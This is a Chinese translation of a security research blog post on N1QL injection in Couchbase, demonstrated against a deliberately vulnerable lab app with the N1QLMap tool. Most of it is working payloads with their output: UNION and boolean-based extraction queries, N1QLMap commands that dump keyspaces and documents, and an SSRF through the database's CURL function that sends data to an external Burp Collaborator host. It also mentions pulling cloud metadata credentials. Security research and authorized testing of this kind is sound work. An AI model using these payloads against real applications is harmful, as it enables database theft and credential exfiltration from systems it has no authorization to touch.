本文是翻译文章,原作者 Krzysztof Pranczk
原文地址:https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database/
译文仅作参考,具体内容表达请见原文
目前大多数数据库都支持SQL
或NOSQL
等查询语言,这些语言旨在为使用者提供与数据库的有效通信接口。但在某些情况下,外部攻击者或恶意用户可能会滥用这些接口功能来提取信息。常见的攻击方式有SQL注入或NoSQL注入。同时,一些小众查询语言的安全性没有得到过多的关注。本篇文章主要讲解N1QL注入,它可以理解为NoSQL数据库中的一种SQL注入,以及对应的利用工具N1QLMap
!
Couchbase Server
是一个开源的面向文档的NoSQL数据库,其将JSON对象存储为文档,也可根据需要将其分配为存储非JSON对象的文档。Couchbase公司还提供Couchbase Lite
和一些移动应用。但是,这些产品有着与Couchbase Server
若干相同的功能。Couchbase SDK
包括使用文档ID进行增/删/改/查操作的基本功能,可以使用全文搜索功能或基于MapReduce
构建的索引执行查询。除此之外,还可以使用N1QL语法
发出更复杂的查询。N1QL(SQL for JSON)是一种类似于SQL的语言,能更好地处理和反馈JSON数据。
我们在gayhub上提供了一个漏洞靶场。该应用程序提供了一个简单的接口,允许用户查询世界各地的啤酒厂信息。基于Docker Compose
来搭建环境:
git clone https://github.com/FSecureLABS/N1QLMap.git
cd n1qlmap / n1ql-demo
./quick_setup.sh
设置完成后,靶场环境为http://localhost:3000
。例如以下curl命令返回一个JSON数据,包含位于纽约的啤酒厂:
$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=New York" ... [ { "beer-sample": { "address": [ "Chelsea Piers, Pier 59" ], "city": "New York", "code": "10011", ....
现在我们有了一个应用程序,随后需要确定是否存在注入,我们假设唯一的可控GET参数“city”存在SQL注入漏洞。判断手法与普通SQL注入判断手法相似。比如输入撇号/引号来判断,由于这些特殊字符破坏了服务器端语法,因此应用程序将抛出异常。例如:
$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city='aaa" ...errors\": [{\"code\":3000,\"msg\":\"syntax error - at aaa\"}],\n\"status\": \"fatal\",\n\"...
如上所示,syntax error
表明,可以通过操纵city
参数的值来直接修改查询。截至目前一切正常。接下来我们需要确定查询语言和数据库技术。
对于可疑的查询注入点,下一步是判断查询语言。为了识别注入点在N1QL查询语法内,可以构造出特定的函数或查询来判断。举两个栗子:
ENCODE_JSON
、META
关键字或其它可在官方文档中找到对应的N1QL特定语法。SELECT * FROM system:datastore
,在N1QL逻辑层次结构中可以找到更多可用的系统键空间。本次靶场中应用如下:
http://localhost:3000/example-1/breweries?city=13373' OR ENCODE_JSON({}) == "{}" OR '1'='1
http://localhost:3000/example-1/breweries?city=13373' OR ENCODE_JSON((SELECT * FROM system:keyspaces)) != "{}" OR '1'='1
http://localhost:3000/example-1/breweries?city=13373' UNION SELECT * FROM system:keyspaces WHERE '1'='1
http://localhost:3000/example-1/breweries?city=13373' UNION SELECT META((SELECT * FROM system:datastores)) WHERE '1'='1
UNION SELECT
关键字,因此可以构造普通SQL注入中的联合查询。比如要查询所有可用的键空间,可以构造以下payload:$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=' AND '1'='0' UNION SELECT * FROM system:keyspaces WHERE '1'='1" [{ "keyspaces": { "datastore_id": "http://127.0.0.1:8091", "id": "beer-sample", "name": "beer-sample", "namespace_id": "default" } }, { "keyspaces": { "datastore_id": "http://127.0.0.1:8091", "id": "default-bucket", "name": "default-bucket", "namespace_id": "default" } }, { "keyspaces": { "datastore_id": "http://127.0.0.1:8091", "id": "travel-sample", "name": "travel-sample", "namespace_id": "default" } }]
为了更清楚一点,在后端构建的完整查询如下:
SELECT * FROM beer-sample WHERE city ='' AND '1'='0' UNION SELECT * FROM system:keyspaces WHERE '1'='1'
下面对该漏洞进行深入利用。
当我们确定了所使用的查询语言和数据库技术后,数据提取就像经典的SQLi一样简单。N1QL的优点之一是可以使用ENCODE_JSON
函数,该函数将数据以JSON格式返回。例如,我们可以使用以下查询从数据库中提取键空间并以JSON格式返回:
$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=13373' UNION SELECT ENCODE_JSON((SELECT * FROM system:keyspaces ORDER BY id)) WHERE '1'='1" [{ "$1": "[{\"keyspaces\":{\"datastore_id\":\"http://127.0.0.1:8091\",\"id\":\"beer-sample\",\"name\":\"beer-sample\",\"namespace_id\":\"default\"}},{\"keyspaces\":{\"datastore_id\":\"http://127.0.0.1:8091\",\"id\":\"default-bucket\",\"name\":\"default-bucket\",\"namespace_id\":\"default\"}},{\"keyspaces\":{\"datastore_id\":\"http://127.0.0.1:8091\",\"id\":\"travel-sample\",\"name\":\"travel-sample\",\"namespace_id\":\"default\"}}]" }]
格式化一下:
[ { "keyspaces": { "datastore_id": "http://127.0.0.1:8091", "id": "beer-sample", "name": "beer-sample", "namespace_id": "default" } }, { "keyspaces": { "datastore_id": "http://127.0.0.1:8091", "id": "default-bucket", "name": "default-bucket", "namespace_id": "default" } }, { ..... } ]
这种JSON输出类型使基于布尔的数据检索变得容易,因为我们可以简单地检查输出的第一个字符为{
时表示返回了有效的数据。通过利用这一点,我们可以创建一个仅当特定字符位于特定位置时才返回结果的查询,而在其他情况下则返回空的JSON数组。栗子如下:
curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=New York' AND '{' = SUBSTR(ENCODE_JSON((SELECT * FROM system:keyspaces ORDER BY id)), 1, 1) AND '1'='1" [{"beer-sample":{"address":["Chelsea Piers, Pier 59"],"city":"New York","code":"10011","country":"United States"...
在上面SUBSTR
函数用于从目标数据中提取首字符,目标数据使用ENCODE_JSON
函数转换为JSON对象。然后判断目标数据的首字符是否为{
。匹配时,响应为True。基于此方法,我们还可以逐步判断数据中的每个字符从而获取到完整的目标数据。
通过使用“键空间” JSON文档,也可以使用类似的技术从键空间中进一步提取数据,并执行更高级的查询,以促进诸如SSRF的攻击,我们将在稍后对此进行介绍。
在上述PoC中子查询中使用了ORDER BY
关键字,这是因为Couchbase对每个查询可能以随机排序的形式返回。因此通过ORDER BY
关键字,我们可以降低这种不一致性导致的错误。
大致了解原理过后就可以造轮子了。
基于N1QL语法的现有理解,开发了漏洞验证工具N1QLMap
。当前,N1QLMap
使用基于布尔的渗透技术,提供功能如下:
与一些常见工具相同,可以通过使用*i*
标记其位置来设置特定的注入点。下面是一个示例,标记了参数"city":
GET /example-1/breweries?city=*i* HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache
可以通过--help
参数来获取使用说明。N1QLMap可以通过--request
参数像SQLMAP那样读取一个HTTP数据文件。如下命令用来枚举有效的数据存储区:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores [{"datastores":{"id":"http://127.0.0.1:8091","url":"http://127.0.0.1:8091"}}
--keyword
参数指定的字符串存在时表示有效查询。现在获取到了数据存储区,接下来再提取相关的键空间:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091" [{"name":"beer-sample"},{"name":"default-bucket"},{"name":"travel-sample"}]
提取系统键空间后我们可以进一步枚举它们所存储的数据信息:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample [{"O":{"T":{"callsign":"MILE-AIR","country":"United States","iata":"Q5","icao":"MLA","id":10,"name":"40-Mile Air","type":"airline"} .....
该工具还允许用户使用--query
参数基于指定查询语法提取数据。但应注意META
函数的id
参数应与此结合使用以强制执行返回数据的顺序。
下面展示了使用任意查询从“travel-sample”键空间中提取单个文档的示例查询:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'
目前该工具还处于完善期,可以加入我们的项目一起贡献。
那么我们之前提到的SSRF呢?Couchbase数据库支持实现 “客户端URL” (CURL) 功能子集的 “cURL” 函数。通过N1QL,我们可以通过在ENCODE_JSON
函数内嵌套子查询来完成SSRF。不过默认情况下“cURL”函数功能受到限制。不过在靶场中启用了该功能以作演示,该功能用于对指定URL发起HTTP请求。
以下N1QLMap命令通过--curl
参数将目标数据请求发送到 Burp Collaborator:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl '*************j3mrt7xy3pre.burpcollaborator.net/endpoint' " {'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"
收到的HTTP请求显示如下:
POST /endpoint HTTP/1.1 Host: *************j3mrt7xy3pre.burpcollaborator.net User-Agent: Agent Smith Accept: */* X-N1QL-User-Agent: couchbase/n1ql/2.0.0-N1QL Content-Length: 4 Content-Type: application/x-www-form-urlencoded ...data...data...
如上面的代码片段所示,可将任意有效数据以OOB的方式发送到对应目标。“CURL”功能还允许我们指定其他选项,例如
在授权项目中,可以使用此SSRF绕过IP限制,或从云环境中可用的元数据端点中提取敏感数据和身份凭据。
N1QL Language Reference
Article “Couchbase and N1QL Security” on Couchbase blog
N1QL Querying System Information
N1QL CheatSheet (pdf)
N1QL Interactive Tutorial
Couchbase REST API Documentation